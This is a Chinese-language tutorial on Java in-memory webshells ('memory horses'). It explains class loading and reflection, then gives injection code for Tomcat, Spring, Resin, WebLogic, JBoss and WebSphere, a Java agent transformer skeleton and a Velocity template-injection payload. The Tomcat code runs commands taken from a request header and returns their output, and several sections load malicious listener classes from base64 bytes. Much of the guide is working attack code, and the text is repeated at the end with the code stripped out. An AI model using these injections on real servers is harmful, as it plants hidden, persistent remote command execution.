一文深度学习java内存马
字数 2125 2025-08-20 18:18:05

Java内存马深度解析与实战指南

1. 前言

Java内存马注入技术主要分为两种类型:

  1. 动态注册方式:添加新的listener/filter/servlet/controller等组件
  2. Agent注入方式:修改已有class,插入恶意代码

在理解内存马注入前,需要掌握以下核心概念:

  • 类加载机制
  • 双亲委派问题及context
  • 类反射机制

2. 基础理论

2.1 Class对象

Java中的对象分为两种:

  • Class对象:保存类型运行时信息(类名、属性、方法、父类等)
  • 实例对象:类的具体实例

关键特性:

  • JVM中一个类只对应一个Class对象
  • Class对象是java.lang.Class类的对象
  • 类加载时由JVM自动构造,不能显式声明

2.2 类加载机制

类加载的三个阶段:

  1. 加载

    • 由ClassLoader执行
    • 获取类的二进制字节流
    • 将字节流转换为方法区的运行时数据结构
    • 在堆中生成对应的Class对象
  2. 链接

    • 验证字节流
    • 为静态域分配存储空间
    • 将符号引用转为直接引用
  3. 初始化

    • 执行静态初始化器和静态代码块
    • 优先初始化父类

类加载触发方式:

  • Class.forName("类的全限定名")
  • new操作符
  • 通过网络加载字节码

关键方法:

  • loadClass:使用双亲委派机制查找类
  • findClass:根据名称/位置加载.class字节码
  • defineClass:解析.class字节流,返回Class对象

2.3 类反射

获取Class对象的三种方式:

  1. Person.class
  2. person.getClass()
  3. Class.forName("com.example.Person")

反射操作:

  • Method操作

    • getDeclaredMethods():获取所有方法(包括私有)
    • getMethod():获取公共方法(包括父类)
    • method.invoke(obj, args):调用方法
  • Field操作

    • getField(fieldName)
    • field.get(obj) / field.set(obj, val)
    • 修改final字段需先移除FINAL约束

2.4 双亲委派机制

作用:

  • 保证相同class文件加载为相同对象
  • 防止核心类被篡改

打破双亲委派的方式:

  1. 继承ClassLoader并重写loadClass方法
  2. 直接使用defineClass绕过

Tomcat的特殊处理:

  • 需要隔离不同应用的类库
  • 支持热加载JSP文件
  • 自定义类加载器层级:
    • CommonClassLoader
    • CatalinaClassLoader
    • SharedClassLoader
    • WebappClassLoader
    • JspClassLoader

3. 动态注册方式注入

通用思路

  1. 分析处理请求的对象,阅读源码确认能否控制请求/响应
  2. 研究对象注册到内存的流程
  3. 模拟注册过程

关键问题解决:

  • 类加载隔离:使用当前上下文的类加载器创建新类加载器
    new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader())
    
  • 版本适配:研究中间件不同版本的实现差异

3.1 Tomcat内存马

获取Request对象

Tomcat 5-9通用方法:

public static void echo() throws Exception {
    Object o;
    Object resp = null;
    boolean done = false;
    try {
        Thread[] threads = (Thread[]) Thread.class.getDeclaredMethod("getThreads").invoke(null);
        for (Thread thread : threads) {
            if (thread.getName().contains("ContainerBackgroundProcessor") || 
                (!thread.getName().contains("exec") && thread.getName().contains("http"))) {
                o = getFieldValue(thread, "target");
                if (!(o instanceof Runnable)) continue;
                
                // Tomcat 5/6/7
                Object connectionHandler = getFieldValue(getFieldValue(connector, "protocolHandler"), "cHandler");
                // Tomcat 8/9
                if (connectionHandler == null) {
                    connectionHandler = getFieldValue(getFieldValue(connector, "protocolHandler"), "handler");
                }
                
                ArrayList processors = (ArrayList) getFieldValue(getFieldValue(connectionHandler, "global"), "processors");
                for (Object processor : processors) {
                    Object req = getFieldValue(processor, "req");
                    String s = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "Accept-Encoded");
                    if (s != null && !s.isEmpty()) {
                        Object conreq = req.getClass().getMethod("getNote", int.class).invoke(req, 1);
                        try {
                            resp = conreq.getClass().getMethod("getResponse").invoke(conreq);
                        } catch (Exception e) {
                            resp = getFieldValue(getFieldValue(conreq, "request"), "response");
                        }
                        // 设置响应
                        resp.getClass().getMethod("setStatus", int.class).invoke(resp, 200);
                        resp.getClass().getMethod("addHeader", String.class, String.class)
                            .invoke(resp, "Transfer-encoded", "chunked");
                        done = true;
                        
                        // 执行命令
                        byte[] cmdBytes;
                        if (s.equals("echo")) {
                            cmdBytes = System.getProperties().toString().getBytes();
                        } else {
                            String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ?
                                new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
                            cmdBytes = new Scanner(new ProcessBuilder(cmd).start().getInputStream())
                                .useDelimiter("\\A").next().getBytes();
                        }
                        writeBody(resp, new String(cmdBytes));
                    }
                    if (done) break;
                }
            }
        }
    } catch (Exception ex) {
        writeBody(resp, ex.toString());
    }
}

获取Context

private static Object getContext(Object request) throws Exception {
    Object context = null;
    try {
        context = getFieldValue(request, "context");  // all
    } catch (Exception e) {
        try {
            context = invoke(request, "getContext");  // tomcat6
        } catch (Exception ignored) {
            try {
                context = invoke(request, "getServletContext");  // tomcat7+
            } catch (Exception ignored1) {
                context = invoke(request, "getWebApp");  // resin3
            }
        }
    }
    return context;
}

// 获取StandardContext
Object applicationContextFacade = getContext(request);
Object applicationContext = getFieldValue(applicationContextFacade, "context");
Object standardContext = getFieldValue(applicationContext, "context");

添加Listener

getMethodByClass(standardContext.getClass(), "setApplicationEventListeners", Object[].class)
    .invoke(standardContext, new Object[]{newListeners.toArray()});

3.2 半自动化挖掘技术

使用工具java-object-searcher

  1. 将jar包引入目标应用的classpath或JDK的ext目录
  2. 编写搜索代码:
// 设置搜索类型
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("listener").build());

// 定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
blacklists.add(new Blacklist.Builder().setField_type("Exception").build());
blacklists.add(new Blacklist.Builder().setField_name("contextClassLoader").build());

// 创建搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path(".");
searcher.searchObject();

3.3 Spring内存马

Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder")
    .getMethod("getRequestAttributes").invoke(null);
Object httprequest = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
Object httpresponse = requestAttributes.getClass().getMethod("getResponse").invoke(requestAttributes);
Object servletContext = httprequest.getClass().getMethod("getServletContext").invoke(requestAttributes);

3.4 Resin内存马

Resin 4

Object servletContext = invoke(httprequest, "getServletContext");
Object webApp = servletContext;
Method addListenerObjectM = getMethodByClass(webApp.getClass(), "addListenerObject", 
    new Class[]{Object.class, boolean.class});

// 动态加载恶意类
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class clazz = (Class) m.invoke(new javax.management.loading.MLet(new java.net.URL[0], 
    Thread.currentThread().getContextClassLoader()), clazzBytes, 0, clazzBytes.length);

Object listener = clazz.newInstance();
addListenerObjectM.invoke(webApp, new Object[]{listener, true});

Resin 3

区别点:

  • 获取WebApp方式:getWebApp而非getServletContext
  • Request实现类:com.caucho.server.http.HttpRequest

3.5 WebLogic内存马

12.1.3+版本

Object currentWork = ((ExecuteThread)Thread.currentThread()).getCurrentWork();
Field connectionHandler = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object httpConnectionHandler = connectionHandler.get(currentWork);

Field requestF = httpConnectionHandler.getClass().getDeclaredField("request");
requestF.setAccessible(true);
httpConnectionHandler = requestF.get(httpConnectionHandler);

Field contextF = httpConnectionHandler.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext webAppServletContext = (WebAppServletContext) contextF.get(httpConnectionHandler);

// 动态加载恶意类
byte[] evilClassBytes = new BASE64Decoder().decodeBuffer("yv66...");
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);

Field classLoaderF = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader classLoader = (ClassLoader) classLoaderF.get(webAppServletContext);
Class servletClass = (Class) defineClass.invoke(classLoader, evilClassBytes, 0, evilClassBytes.length);

// 绕过启动检查
Field phaseF = webAppServletContext.getClass().getDeclaredField("phase");
phaseF.setAccessible(true);
Object INITIALIZER_STARTUP = Class.forName("weblogic.servlet.internal.WebAppServletContext$ContextPhase")
    .getDeclaredField("INITIALIZER_STARTUP").get(null);
Object START = Class.forName("weblogic.servlet.internal.WebAppServletContext$ContextPhase")
    .getDeclaredField("START").get(null);
Object OldContextPhase = phaseF.get(webAppServletContext);

phaseF.set(webAppServletContext, INITIALIZER_STARTUP);
webAppServletContext.registerListener("evil.listener.testCmdListener");
phaseF.set(webAppServletContext, START);

3.6 JBoss内存马

JBoss AS6.1可直接复用Tomcat的listener内存马,因其内嵌了Tomcat。

3.7 WebSphere内存马

获取Context方法

  1. 通过Thread.currentThread()定位:
Object obj0 = Thread.currentThread();
Object obj1 = getFieldValue(obj0, "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj1;

for (Object obj2 : wsThreadLocals) {
    if (obj2 != null && obj2.getClass().getName().contains("FastStack")) {
        Object obj3 = getFieldValue(obj2, "stack");
        Object[] stack = (Object[]) obj3;
        for (Object obj4 : stack) {
            if (obj4 != null && obj4.getClass().getName().contains("WebComponentMetaDataImpl")) {
                Object obj5 = getFieldValue(obj4, "config");
                Object obj6 = getFieldValue(obj5, "context"); // ServletContextFacade
                Object obj7 = getFieldValue(obj6, "context"); // WebAppImpl
                return obj7;
            }
        }
    }
}
  1. 全局方法获取:
Object webContainer = Class.forName("com.ibm.ws.webcontainer.WebContainer", true, classloader)
    .getMethod("getWebContainer").invoke(null);
Object requestMapper = getFieldValue(webContainer, "requestMapper");
Object webGroup = invoke(requestMapper, "map", new Object[]{":9080/app/*"});
Object webapp = getFieldValue(webGroup, "webApp");

内存马注入

byte[] classBytes = new BASE64Decoder().decodeBuffer("yv66...");
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", 
    byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);

Class cc = (Class) defineClassMethod.invoke(
    new java.security.SecureClassLoader(Thread.currentThread().getClass().getClassLoader()), 
    new Object[]{classBytes, 0, classBytes.length});

((WebGroupImpl)WebContainer.getWebContainer().requestMapper.map(":9080/app/*"))
    .webApp.addLifecycleListener(((EventListener)cc.newInstance());

4. Agent注入方式

Agent注入通过修改已有class字节码实现,关键步骤:

  1. 获取Instrumentation实例
  2. 使用ClassFileTransformer转换目标类
  3. 插入恶意字节码

示例代码结构:

public class Agent {
    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, 
                Class<?> classBeingRedefined, ProtectionDomain protectionDomain, 
                byte[] classfileBuffer) {
                if (targetClass.equals(className)) {
                    // 修改字节码
                    return modifyClass(classfileBuffer);
                }
                return null;
            }
        }, true);
    }
}

5. 实用技巧

5.1 SSTI利用

Velocity模板注入示例:

#set($s="")
#set($evil="b64xxxxx")
#set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer($evil))
#set($ReflectUtils=$s.getClass().forName("org.springframework.cglib.core.ReflectUtils").getDeclaredConstructor())
#set($classLoader=$s.getClass().forName("java.lang.Thread").currentThread().getContextClassLoader())
$ReflectUtils.setAccessible(true)
#set($ReflectUtilsObject=$ReflectUtils.newInstance())
#set($_=$ReflectUtilsObject.defineClass("Payload", $evilb, $classLoader))
#set($shellServlet=$classLoader.loadClass("Payload").newInstance())

5.2 远程调试配置

JDK版本 参数
JDK5-8 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
JDK9+ -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

全局环境变量方式:

set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

5.3 内存Class Dump

使用dumpclass工具:

"C:\Java\jdk1.8.0_212\bin\java.exe" -jar dumpclass.jar -p 10820 com.example.TargetClass

6. 参考资源

  1. Java类加载机制详解
  2. Resin内存马研究
  3. Java内存马攻防实战
Java内存马深度解析与实战指南 1. 前言 Java内存马注入技术主要分为两种类型: 动态注册方式 :添加新的listener/filter/servlet/controller等组件 Agent注入方式 :修改已有class,插入恶意代码 在理解内存马注入前,需要掌握以下核心概念: 类加载机制 双亲委派问题及context 类反射机制 2. 基础理论 2.1 Class对象 Java中的对象分为两种: Class对象 :保存类型运行时信息(类名、属性、方法、父类等) 实例对象 :类的具体实例 关键特性: JVM中一个类只对应一个Class对象 Class对象是java.lang.Class类的对象 类加载时由JVM自动构造,不能显式声明 2.2 类加载机制 类加载的三个阶段: 加载 : 由ClassLoader执行 获取类的二进制字节流 将字节流转换为方法区的运行时数据结构 在堆中生成对应的Class对象 链接 : 验证字节流 为静态域分配存储空间 将符号引用转为直接引用 初始化 : 执行静态初始化器和静态代码块 优先初始化父类 类加载触发方式: Class.forName("类的全限定名") new 操作符 通过网络加载字节码 关键方法: loadClass :使用双亲委派机制查找类 findClass :根据名称/位置加载.class字节码 defineClass :解析.class字节流,返回Class对象 2.3 类反射 获取Class对象的三种方式: Person.class person.getClass() Class.forName("com.example.Person") 反射操作: Method操作 : getDeclaredMethods() :获取所有方法(包括私有) getMethod() :获取公共方法(包括父类) method.invoke(obj, args) :调用方法 Field操作 : getField(fieldName) field.get(obj) / field.set(obj, val) 修改final字段需先移除FINAL约束 2.4 双亲委派机制 作用: 保证相同class文件加载为相同对象 防止核心类被篡改 打破双亲委派的方式: 继承ClassLoader并重写 loadClass 方法 直接使用 defineClass 绕过 Tomcat的特殊处理: 需要隔离不同应用的类库 支持热加载JSP文件 自定义类加载器层级: CommonClassLoader CatalinaClassLoader SharedClassLoader WebappClassLoader JspClassLoader 3. 动态注册方式注入 通用思路 分析处理请求的对象,阅读源码确认能否控制请求/响应 研究对象注册到内存的流程 模拟注册过程 关键问题解决: 类加载隔离 :使用当前上下文的类加载器创建新类加载器 版本适配 :研究中间件不同版本的实现差异 3.1 Tomcat内存马 获取Request对象 Tomcat 5-9通用方法: 获取Context 添加Listener 3.2 半自动化挖掘技术 使用工具 java-object-searcher : 将jar包引入目标应用的classpath或JDK的ext目录 编写搜索代码: 3.3 Spring内存马 3.4 Resin内存马 Resin 4 Resin 3 区别点: 获取WebApp方式: getWebApp 而非 getServletContext Request实现类: com.caucho.server.http.HttpRequest 3.5 WebLogic内存马 12.1.3+版本 3.6 JBoss内存马 JBoss AS6.1可直接复用Tomcat的listener内存马,因其内嵌了Tomcat。 3.7 WebSphere内存马 获取Context方法 通过Thread.currentThread()定位: 全局方法获取: 内存马注入 4. Agent注入方式 Agent注入通过修改已有class字节码实现,关键步骤: 获取Instrumentation实例 使用ClassFileTransformer转换目标类 插入恶意字节码 示例代码结构: 5. 实用技巧 5.1 SSTI利用 Velocity模板注入示例: 5.2 远程调试配置 JDK版本 | 参数 --- | --- JDK5-8 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 JDK9+ | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 全局环境变量方式: 5.3 内存Class Dump 使用 dumpclass 工具: 6. 参考资源 Java类加载机制详解 Resin内存马研究 Java内存马攻防实战